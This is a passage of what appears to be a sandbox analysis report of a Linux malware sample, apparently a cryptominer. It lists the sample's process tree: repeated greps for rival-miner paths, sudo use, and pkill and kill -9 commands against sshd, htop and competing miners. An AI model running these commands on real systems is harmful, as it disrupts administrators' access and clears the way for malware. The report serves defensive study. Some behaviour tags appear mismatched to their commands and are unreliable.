  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1782
- /bin/grep
  grep -q systemd
  2⤵
  PID:1784
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1786
- /bin/grep
  grep exe
  2⤵
  PID:1789
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1788
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1791
- /bin/grep
  grep -q systemd
  2⤵
  PID:1793
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1795
- /bin/grep
  grep exe
  2⤵
  PID:1798
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1797
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1800
- /bin/grep
  grep -q systemd
  2⤵
  PID:1802
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1804
- /bin/grep
  grep exe
  2⤵
  PID:1807
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1806
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1809
- /bin/grep
  grep -q systemd
  2⤵
  PID:1811
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1813
- /bin/grep
  grep exe
  2⤵
  PID:1816
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1815
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1818
- /bin/grep
  grep -q systemd
  2⤵
  PID:1820
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1822
- /bin/grep
  grep exe
  2⤵
  PID:1825
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1824
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1827
- /bin/grep
  grep -q systemd
  2⤵
  PID:1829
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1831
- /bin/grep
  grep exe
  2⤵
  PID:1834
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1833
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1836
- /bin/grep
  grep -q systemd
  2⤵
  PID:1838
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1840
- /bin/grep
  grep exe
  2⤵
  PID:1843
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1842
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1845
- /bin/grep
  grep -q systemd
  2⤵
  PID:1847
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1849
- /bin/grep
  grep exe
  2⤵
  PID:1852
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1851
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1854
- /bin/grep
  grep -q systemd
  2⤵
  PID:1856
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1858
- /bin/grep
  grep exe
  2⤵
  PID:1861
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1860
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1863
- /bin/grep
  grep -q systemd
  2⤵
  PID:1865
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1867
- /bin/grep
  grep exe
  2⤵
  PID:1870
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1869
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1872
- /bin/grep
  grep -q systemd
  2⤵
  PID:1874
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1876
- /bin/grep
  grep exe
  2⤵
  PID:1879
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1878
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1881
- /bin/grep
  grep -q systemd
  2⤵
  PID:1883
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1885
- /bin/grep
  grep exe
  2⤵
  PID:1888
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1887
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1890
- /bin/grep
  grep -q systemd
  2⤵
  PID:1892
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1894
- /bin/grep
  grep exe
  2⤵
  PID:1897
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1896
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1899
- /bin/grep
  grep -q systemd
  2⤵
  PID:1901
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1903
- /bin/grep
  grep exe
  2⤵
  PID:1906
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1905
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1908
- /bin/grep
  grep -q systemd
  2⤵
  PID:1910
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1912
- /bin/grep
  grep exe
  2⤵
  PID:1915
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1914
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1917
- /bin/grep
  grep -q systemd
  2⤵
  PID:1919
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1921
- /bin/grep
  grep exe
  2⤵
  PID:1924
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1923
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1926
- /bin/grep
  grep -q systemd
  2⤵
  PID:1928
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1930
- /bin/grep
  grep exe
  2⤵
  PID:1933
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1932
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1935
- /bin/grep
  grep -q systemd
  2⤵
  PID:1937
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1939
- /bin/grep
  grep exe
  2⤵
  PID:1942
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1941
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1944
- /bin/grep
  grep -q systemd
  2⤵
  PID:1946
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1948
- /usr/bin/id
  id -u
  2⤵
  PID:1949
- /usr/bin/sudo
  sudo mkdir /etc/data
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:1950
- - /bin/mkdir
    mkdir /etc/data
    3⤵
    PID:1951
- /usr/bin/id
  id -u
  2⤵
  PID:1952
- /bin/uname
  uname -i
  2⤵
  - Removes the immutable protection flag from a file
  PID:1953
- /bin/uname
  uname -m
  2⤵
  PID:1954
- /bin/grep
  grep -e /dev
  2⤵
  PID:1957
- /bin/ls
  ls -la /etc/data
  2⤵
  PID:1956
- /bin/grep
  grep -v grep
  2⤵
  PID:1958
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1959
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1960
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  PID:1962
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1963
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  PID:1964
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1965
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1966
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1967
- /bin/grep
  grep -v -
  2⤵
  PID:1972
- /bin/grep
  grep :1414
  2⤵
  PID:1969
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1973
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1970
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1971
- /bin/grep
  grep -v grep
  2⤵
  PID:1976
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1977
- /bin/grep
  grep rtw88_pcied
  2⤵
  PID:1975
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1978
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1974
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1982
- /bin/grep
  grep -v grep
  2⤵
  PID:1981
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1983
- /bin/grep
  grep stratum
  2⤵
  PID:1980
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1979
- /bin/grep
  grep -v grep
  2⤵
  PID:1986
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1987
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1988
- /bin/grep
  grep Sofia
  2⤵
  PID:1985
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1984
- /usr/bin/pkill
  pkill -f Sofia
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1993
- /bin/grep
  grep -v grep
  2⤵
  PID:1992
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1994
- /bin/grep
  grep tracepath
  2⤵
  PID:1991
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1990
- /bin/grep
  grep -v grep
  2⤵
  PID:1997
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1998
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1999
- /bin/grep
  grep /dot
  2⤵
  PID:1996
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:1995
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2003
- /bin/grep
  grep -v grep
  2⤵
  PID:2002
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2004
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:2001
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2000
- /bin/grep
  grep -v grep
  2⤵
  PID:2007
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:2006
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2009
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2008
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2005
- /bin/grep
  grep -v grep
  2⤵
  PID:2012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2013
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2014
- /bin/grep
  grep "bash -k"
  2⤵
  PID:2011
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2010
- /bin/grep
  grep -v grep
  2⤵
  PID:2017
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2018
- /bin/grep
  grep perfctl
  2⤵
  PID:2016
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2019
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2015
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  PID:2020
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  PID:2021
- /bin/grep
